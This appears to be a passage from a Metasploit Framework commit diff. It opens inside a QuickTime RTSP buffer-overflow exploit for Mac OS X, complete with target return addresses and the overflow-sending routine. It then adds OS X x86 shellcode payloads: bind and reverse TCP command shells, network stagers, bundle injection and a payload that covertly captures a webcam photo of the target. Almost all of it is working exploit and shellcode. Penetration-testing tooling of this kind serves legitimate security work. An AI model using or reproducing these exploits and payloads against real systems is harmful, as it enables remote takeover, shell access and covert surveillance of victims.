[ 'Mac OS X 10.5.0 PowerPC, QuickTime 7.2.1', {
'Arch' => ARCH_PPC,
'Ret' => 0x8fe042e0,
'RetOffset' => 615,
'PayloadOffset' => 3351
}
],
[ 'Mac OS X 10.4.8 x86, QuickTime 7.1.3', {
'Arch' => ARCH_X86,
'Offset' => 307,
'Writable' => 0xa0bd0f10, # libSystem __IMPORT
# The rest of these are all in libSystem __TEXT
'ret' => 0x9015d336,
'poppopret' => 0x9015d334,
'setjmp' => 0x900bc438,
'strdup' => 0x90012f40,
'jmp_eax' => 0x9014a77f
}
],
[ 'Mac OS X 10.5.0 x86, QuickTime 7.2.1', {
'Arch' => ARCH_X86,
'Offset' => 307,
'Writable' => 0x8fe66448, # dyld __IMPORT
# The rest of these addresses are in dyld __TEXT
'ret' => 0x8fe1ceee,
'poppopret' => 0x8fe220d7,
'setjmp' => 0x8fe1ceb0,
'strdup' => 0x8fe1cd77,
'jmp_eax' => 0x8fe01041
}
],
],
'DefaultTarget' => 2,
'Payload' => {
'Space' => 3841,
'BadChars' =>
"\x00\x0a\x0d",
'MaxNops' => 0,
'StackAdjustment' => -3500,
}
))
end
######
# XXX: This does not work on Tiger apparently
def make_exec_payload_from_heap_stub()
frag0 =
"\x90" + # nop
"\x58" + # pop eax
"\x61" + # popa
"\xc3" # ret
frag1 =
"\x90" + # nop
"\x58" + # pop eax
"\x89\xe0" + # mov eax, esp
"\x83\xc0\x0c" + # add eax, byte +0xc
"\x89\x44\x24\x08" + # mov [esp+0x8], eax
"\xc3" # ret
setjmp = target['setjmp']
writable = target['Writable']
strdup = target['strdup']
jmp_eax = target['jmp_eax']
exec_payload_from_heap_stub =
frag0 +
[setjmp].pack('V') +
[writable + 32, writable].pack("V2") +
frag1 +
"X" * 20 +
[setjmp].pack('V') +
[writable + 24, writable, strdup, jmp_eax].pack("V4") +
"X" * 4
end
def on_client_connect(client)
print_status("Got client connection...")
if (target['Arch'] == ARCH_PPC)
ret_offset = target['RetOffset']
payload_offset = target['PayloadOffset']
# Create pattern sized up to payload, since it always follows
# the return address.
boom = Rex::Text.pattern_create(payload_offset)
boom[ret_offset, 4] = [target['Ret']].pack('N')
boom[payload_offset, payload.encoded.length] = payload.encoded
else
boom = Rex::Text.pattern_create(327)
boom[307, 4] = [target['ret']].pack('V')
boom[311, 4] = [target['ret']].pack('V')
boom[315, 4] = [target['poppopret']].pack('V')
boom[319, 4] = [target['Writable']].pack('V')
boom[323, 4] = [target['Writable']].pack('V')
#
# Create exec-payload-from-heap-stub, but split it in two.
# The first word must be placed as the overwritten saved ebp
# in the attack string. The rest is placed after the
# Writable memory addresses.
#
magic = make_exec_payload_from_heap_stub()
boom[303, 4] = magic[0, 4]
boom += magic[4..-1]
#
# Place the payload immediately after the stub as it expects
#
boom += payload.encoded
end
body = " "
header =
"RTSP/1.0 200 OK\r\n"+
"CSeq: 1\r\n"+
"Content-Type: #{boom}\r\n"+
"Content-Length: #{body.length}\r\n\r\n"
print_status("Sending RTSP response...")
client.put(header + body)
print_status("Sleeping...")
sleep(1)
print_status("Starting handler...")
handler(client)
print_status("Closing client...")
service.close_client(client)
end
end

View File

@ -0,0 +1,64 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Osx
def initialize(info = {})
super(merge_info(info,
'Name' => 'OSX (vfork) Command Shell, Bind TCP Inline',
'Version' => '$Revision$',
'Description' => 'Listen for a connection, vfork if necessary, and spawn a command shell',
'Author' => 'Dino Dai Zovi <ddz@theta44.org>',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' =>
{
'Offsets' =>
{
'LPORT' => [ 27, 'n' ],
},
'Payload' =>
"\x31\xc0\x99\x50\x40\x50\x40\x50"+
"\x52\xb0\x61\xcd\x80\x0f\x82\x7e"+
"\x00\x00\x00\x89\xc6\x52\x52\x52"+
"\x68\x00\x02\x34\x12\x89\xe3\x6a"+
"\x10\x53\x56\x52\xb0\x68\xcd\x80"+
"\x72\x67\x52\x56\x52\xb0\x6a\xcd"+
"\x80\x72\x5e\x52\x52\x56\x52\xb0"+
"\x1e\xcd\x80\x72\x54\x89\xc7\x31"+
"\xdb\x83\xeb\x01\x43\x53\x57\x53"+
"\xb0\x5a\xcd\x80\x72\x43\x83\xfb"+
"\x03\x75\xf1\x31\xc0\x50\x50\x50"+
"\x50\xb0\x3b\xcd\x80\x90\x90\x3c"+
"\x2d\x75\x09\xb0\x42\xcd\x80\x83"+
"\xfa\x00\x74\x17\x31\xc0\x50\x68"+
"\x2f\x2f\x73\x68\x68\x2f\x62\x69"+
"\x6e\x89\xe3\x50\x50\x53\x50\xb0"+
"\x3b\xcd\x80\x31\xc0\x50\x89\xe3"+
"\x50\x50\x53\x50\x50\xb0\x07\xcd"+
"\x80\x31\xc0\x50\x50\x40\xcd\x80"
}
))
end
end

View File

@ -0,0 +1,63 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Osx
def initialize(info = {})
super(merge_info(info,
'Name' => 'OSX (vfork) Command Shell, Reverse TCP Inline',
'Version' => '$Revision$',
'Description' => 'Connect back to attacker, vfork if necessary, and spawn a command shell',
'Author' => 'Dino Dai Zovi <ddz@theta44.org>',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' =>
{
'Offsets' =>
{
'LHOST' => [ 20, 'ADDR' ],
'LPORT' => [ 27, 'n' ],
},
'Payload' =>
"\x31\xc0\x99\x50\x40\x50\x40\x50"+
"\x52\xb0\x61\xcd\x80\x72\x6d\x89"+
"\xc7\x52\x52\x68\x7f\x00\x00\x01"+
"\x68\x00\x02\x34\x12\x89\xe3\x6a"+
"\x10\x53\x57\x52\xb0\x62\xcd\x80"+
"\x72\x52\x31\xdb\x83\xeb\x01\x43"+
"\x53\x57\x53\xb0\x5a\xcd\x80\x72"+
"\x43\x83\xfb\x03\x75\xf1\x31\xc0"+
"\x50\x50\x50\x50\xb0\x3b\xcd\x80"+
"\x90\x90\x3c\x2d\x75\x09\xb0\x42"+
"\xcd\x80\x83\xfa\x00\x74\x17\x31"+
"\xc0\x50\x68\x2f\x2f\x73\x68\x68"+
"\x2f\x62\x69\x6e\x89\xe3\x50\x50"+
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0"+
"\x50\x89\xe3\x50\x50\x53\x50\x50"+
"\xb0\x07\xcd\x80\x31\xc0\x50\x50"+
"\x40\xcd\x80"
}
))
end
end

View File

@ -0,0 +1,59 @@
require 'msf/core'
require 'msf/core/handler/bind_tcp'
###
#
# BindTcp
# -------
#
# Mac OS X x86 bind TCP stager.
#
###
module Metasploit3
include Msf::Payload::Stager
def initialize(info = { })
super(merge_info(info,
'Name' => 'Bind TCP Stager',
'Version' => '$Revision$',
'Description' => 'Listen, read length, read buffer, execute',
'Author' => 'Dino Dai Zovi <ddz@theta44.org>',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'sockedi',
'Stager' =>
{
'Offsets' => { 'LPORT' => [ 27, 'n'] },
'Payload' =>
"\x31\xc0\x99\x50\x40\x50\x40\x50"+
"\x52\xb0\x61\xcd\x80\x0f\x82\x7d"+
"\x00\x00\x00\x89\xc6\x52\x52\x52"+
"\x68\x00\x02\x34\x12\x89\xe3\x6a"+
"\x10\x53\x56\x52\xb0\x68\xcd\x80"+
"\x72\x66\x52\x56\x52\xb0\x6a\xcd"+
"\x80\x72\x5d\x52\x52\x56\x52\xb0"+
"\x1e\xcd\x80\x72\x53\x89\xc7\x89"+
"\xe5\x83\xec\x08\x31\xc9\xf7\xe1"+
"\x51\x89\xe6\xb0\x04\x50\x56\x57"+
"\x50\x48\xcd\x80\x72\x3a\x8b\x74"+
"\x24\x10\x31\xc0\x50\x50\x48\x50"+
"\x40\x66\xb8\x02\x10\x50\x31\xc0"+
"\xb0\x07\x50\x56\x52\x52\xb0\xc5"+
"\xcd\x80\x72\x1c\x89\xc3\x01\xf3"+
"\x56\x89\xd8\x29\xf0\x50\x57\x52"+
"\x31\xc0\xb0\x03\xcd\x80\x72\x08"+
"\x29\xc3\x29\xc6\x75\xea\xff\xe3"
}
))
end
def handle_intermediate_stage(conn, p)
#
# Our stager payload expects to see a next-stage length first.
#
conn.put([p.length].pack('V'))
end
end

View File

@ -0,0 +1,61 @@
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
###
#
# ReverseTcp
# -------
#
# Mac OS X x86 Reverse TCP stager.
#
###
module Metasploit3
include Msf::Payload::Stager
def initialize(info = { })
super(merge_info(info,
'Name' => 'Reverse TCP Stager',
'Version' => '$Revision$',
'Description' => 'Connect, read length, read buffer, execute',
'Author' => 'Dino Dai Zovi <ddz@theta44.org>',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'sockedi',
'Stager' =>
{
'Offsets' =>
{
'LHOST' => [ 20, 'ADDR'],
'LPORT' => [ 27, 'n']
},
'Payload' =>
"\x31\xc0\x99\x50\x40\x50\x40\x50"+
"\x52\xb0\x61\xcd\x80\x72\x6c\x89"+
"\xc7\x52\x52\x68\x7f\x00\x00\x01"+
"\x68\x00\x02\x34\x12\x89\xe3\x6a"+
"\x10\x53\x57\x52\xb0\x62\xcd\x80"+
"\x72\x51\x89\xe5\x83\xec\x08\x31"+
"\xc9\xf7\xe1\x51\x89\xe6\xb0\x04"+
"\x50\x56\x57\x50\x48\xcd\x80\x72"+
"\x3a\x8b\x74\x24\x10\x31\xc0\x50"+
"\x50\x48\x50\x40\x66\xb8\x02\x10"+
"\x50\x31\xc0\xb0\x07\x50\x56\x52"+
"\x52\xb0\xc5\xcd\x80\x72\x1c\x89"+
"\xc3\x01\xf3\x56\x89\xd8\x29\xf0"+
"\x50\x57\x52\x31\xc0\xb0\x03\xcd"+
"\x80\x72\x08\x29\xc3\x29\xc6\x75"+
"\xea\xff\xe3"
}
))
end
def handle_intermediate_stage(conn, p)
#
# Our stager payload expects to see a next-stage length first.
#
conn.put([p.length].pack('V'))
end
end

View File

@ -0,0 +1,26 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'msf/core/payload/osx/bundleinject'
###
#
# Injects an arbitrary DLL in the exploited process.
#
###
module Metasploit3
include Msf::Payload::Osx::BundleInject
end

View File

@ -0,0 +1,90 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'msf/core/payload/osx/bundleinject'
require 'msf/base/sessions/vncinject'
require 'fileutils'
require 'rex/compat'
###
#
# Injects the VNC server DLL and runs it over the established connection.
#
###
module Metasploit3
include Msf::Payload::Osx::BundleInject
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X x86 iSight photo capture',
'Version' => '$Revision$',
'Description' => 'Inject a Mach-O bundle to capture a photo from the iSight',
'Author' => [ 'Dino Dai Zovi <ddz@theta44.org' ],
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::CommandShell))
# Override the BUNDLE path with the iSight capture library
register_options(
[
OptPath.new('BUNDLE',
[
true,
"The local path to the iSight Mach-O Bundle to upload",
File.join(Msf::Config.install_root, "data", "isight.bundle")
]),
OptBool.new('AUTOVIEW',
[
true,
"Automatically open the picture in a browser ",
true
])
], self.class)
end
def on_session(session)
print_status("Downloading photo...")
photo_length = session.rstream.read(4).unpack('V')[0]
print_status("Downloading photo (#{photo_length} bytes)...")
photo = session.rstream.read(photo_length)
# Extract the host and port
host,port = session.tunnel_peer.split(':')
# Create a directory for the images
base = File.join(Msf::Config.config_directory, 'logs', 'isight')
dest = File.join(base,
host + "_" + Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000))+".jpg"
)
# Create the log directory
FileUtils.mkdir_p(base)
File.open(dest, 'wb') do |f|
f.write(photo)
f.flush
end
print_status("Photo saved as #{dest}")
if (datastore['AUTOVIEW'] == true)
print_status("Opening photo in a web browser...")
Rex::Compat.open_browser(File.expand_path(dest))
end
super(session)
end
end

View File

@ -0,0 +1,48 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'msf/base/sessions/command_shell'
module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'OSX (vfork) Command Shell',
'Version' => '$Revision$',
'Description' => 'Call vfork() if necessary and spawn a command shell',
'Author' => 'Dino Dai Zovi <ddz@theta44.org>',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Session' => Msf::Sessions::CommandShell,
'Stage' =>
{
'Payload' =>
"\x31\xdb\x83\xeb\x01\x43\x53\x57"+
"\x53\xb0\x5a\xcd\x80\x72\x43\x83"+
"\xfb\x03\x75\xf1\x31\xc0\x50\x50"+
"\x50\x50\xb0\x3b\xcd\x80\x90\x90"+
"\x3c\x2d\x75\x09\xb0\x42\xcd\x80"+
"\x83\xfa\x00\x74\x17\x31\xc0\x50"+
"\x68\x2f\x2f\x73\x68\x68\x2f\x62"+
"\x69\x6e\x89\xe3\x50\x50\x53\x50"+
"\xb0\x3b\xcd\x80\x31\xc0\x50\x89"+
"\xe3\x50\x50\x53\x50\x50\xb0\x07"+
"\xcd\x80\x31\xc0\x50\x50\x40\xcd"+
"\x80"
}
))
end
end